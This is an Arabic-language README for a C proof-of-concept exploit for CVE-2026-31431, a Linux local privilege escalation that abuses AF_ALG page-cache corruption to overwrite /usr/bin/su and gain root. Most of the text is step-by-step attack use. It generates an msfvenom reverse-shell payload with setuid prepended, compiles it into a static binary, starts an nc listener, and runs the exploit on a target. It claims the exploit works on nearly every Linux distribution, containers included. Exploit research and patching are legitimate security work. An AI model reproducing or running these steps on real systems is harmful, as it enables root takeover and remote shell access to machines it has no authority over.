
C PoC لـ CVE-2026-31431، ثغرة رفع صلاحيات محلية (LPE) في لينكس غير مميزة تستغل تلف ذاكرة التخزين المؤقت للصفحات في AF_ALG لاستبدال /usr/bin/su والحصول على صلاحيات الجذر.
ثغرة رفع صلاحيات محلية (LPE) بسيطة بدون صلاحيات عبر كتابة 4 بايتات مُتحكَّم بها في ذاكرة التخزين المؤقت للصفحات (page cache) لأي ملف قابل للقراءة عبر خطأ منطقي في AF_ALG (النواة 4.14 ← أوائل 2026).
أفسد /usr/bin/su في الذاكرة، ثم شغّله ← ستحصل على صلاحيات root.

# 1. توليد حمولة ELF (مثال لصدفة عكسية)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> PrependSetuid=true \
PrependSetgid=true -f elf -a x86 --platform linux -o payload_x86
# 2. الترجمة (ثابتة، مجرّدة، الحمولة مضمّنة عبر .incbin)
gcc -m32 -static -Wl,--strip-all -DPAYLOAD_FILE=payload_x86 -o copy_fail_x86 copy_fail.c
# 3. شغّل المستمع أولاً (nc -lvp <LPORT>)، ثم شغّل الاستغلال على الجهاز الهدف
./copy_fail_x86
• CVE: CVE-2026-31431 • CVSS: 7.8 • الإصلاح: commit a664bf3d603d
• يعمل على جميع توزيعات لينكس تقريباً 2017–2026 (بما في ذلك الحاويات).
• التقنية: يفتح /usr/bin/su بـ O_RDONLY، ويستغل فك التشفير الموضعي (in-place decryption) في AEAD لدمج حمولة مُصمَّمة مباشرة في ذاكرة التخزين المؤقت للصفحات، متجاوزاً VFS.
• الإفصاح الأصلي وPoC بلغة بايثون بحجم 732 بايت ← https://copy.fail
MIT – انظر LICENSE. لأغراض تعليمية / اختبارات مُصرَّح بها فقط. الاستخدام على مسؤوليتك الخاصة.